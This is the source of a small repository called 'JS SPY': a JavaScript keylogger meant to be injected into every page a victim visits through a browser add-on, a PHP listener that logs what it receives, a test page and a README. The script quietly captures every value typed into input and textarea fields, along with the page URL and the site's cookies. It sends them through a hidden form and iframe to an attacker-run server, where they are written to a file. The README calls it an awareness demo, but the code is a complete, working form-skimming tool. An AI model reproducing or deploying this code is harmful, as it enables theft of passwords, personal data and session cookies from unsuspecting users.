├── testing-page.html ├── listener.php ├── README.md └── js-spy.js /testing-page.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |

Testing Page

8 |
9 | 10 | 11 |
12 | 13 | 14 | -------------------------------------------------------------------------------- /listener.php: -------------------------------------------------------------------------------- 1 | \"".$_POST['input_value']."\")"); 7 | } 8 | else { 9 | if($_POST['cookie'] != ""){ 10 | fputs($file, "(Cookie: ".$_POST['cookie'].")"); 11 | } 12 | } 13 | fputs($file, "\n"); 14 | fclose($file); 15 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | JS SPY 2 | ====== 3 | By developing this, I want to show how easy it is to track and stole personal informations by injecting a simple Javascript. The hacker has just to install an add-on/plugin on the victim's web browser which can inject every page the victim will visit with this script. 4 | 5 | Peoples have to be more careful about their web browser, too many free software install add-on/plugin on our browsers without our agreement. 6 | 7 | *Tested on Firefox, Chrome and Internet Explorer.* 8 | 9 | *For testing purpose only.* 10 | 11 | *I am not responsible for what you do with this script.* 12 | -------------------------------------------------------------------------------- /js-spy.js: -------------------------------------------------------------------------------- 1 | var spyjs_location = ""; //location of listener.php 2 | 3 | window.addEventListener("load", function() { 4 | var ifrm = document.createElement("iframe"); 5 | ifrm.setAttribute("id", "thiefmailbox"); 6 | ifrm.setAttribute("name", "thiefmailbox"); 7 | ifrm.style.display = "none"; 8 | document.body.appendChild(ifrm); 9 | 10 | var inputs = document.querySelectorAll('input'); 11 | for(var i = 0; i < inputs.length; i++) { 12 | inputs[i].addEventListener("change", function(e) {spyjs_getInput(e.currentTarget)}); 13 | } 14 | var textareas = document.getElementsByTagName('textarea'); 15 | for(var i = 0; i < textareas.length; i++) { 16 | textareas[i].addEventListener("change", function(e) {spyjs_getInput(e.currentTarget)}); 17 | } 18 | spyjs_getLocation(); 19 | }, false); 20 | 21 | 22 | function spyjs_getLocation(){ 23 | var loc = {}; 24 | spyjs_send(loc); 25 | } 26 | function spyjs_getInput(inputInfo){ 27 | var name = inputInfo.name; 28 | var value = inputInfo.value; 29 | var stolenInput = {}; 30 | if(name === ""){ 31 | name="undefined_input"; 32 | } 33 | if(value != ""){ 34 | stolenInput[name] = value; 35 | spyjs_send(stolenInput); 36 | } 37 | } 38 | function spyjs_send(params){ 39 | var form = document.createElement("form"); 40 | form.setAttribute("method", "post"); 41 | form.setAttribute("target", "thiefmailbox"); 42 | form.setAttribute("action", spyjs_location+"?lo="+location.href); 43 | var field = document.createElement("input"); 44 | field.setAttribute("type", "hidden"); 45 | field.setAttribute("name", "cookie"); 46 | field.setAttribute("value", document.cookie); 47 | form.appendChild(field); 48 | for(var key in params) { 49 | if(params.hasOwnProperty(key)) { 50 | var field = document.createElement("input"); 51 | field.setAttribute("type", "hidden"); 52 | field.setAttribute("name", "input_name"); 53 | field.setAttribute("value", key); 54 | form.appendChild(field); 55 | var field = document.createElement("input"); 56 | field.setAttribute("type", "hidden"); 57 | field.setAttribute("name", "input_value"); 58 | field.setAttribute("value", params[key]); 59 | form.appendChild(field); 60 | } 61 | } 62 | document.body.appendChild(form); 63 | form.submit(); 64 | } --------------------------------------------------------------------------------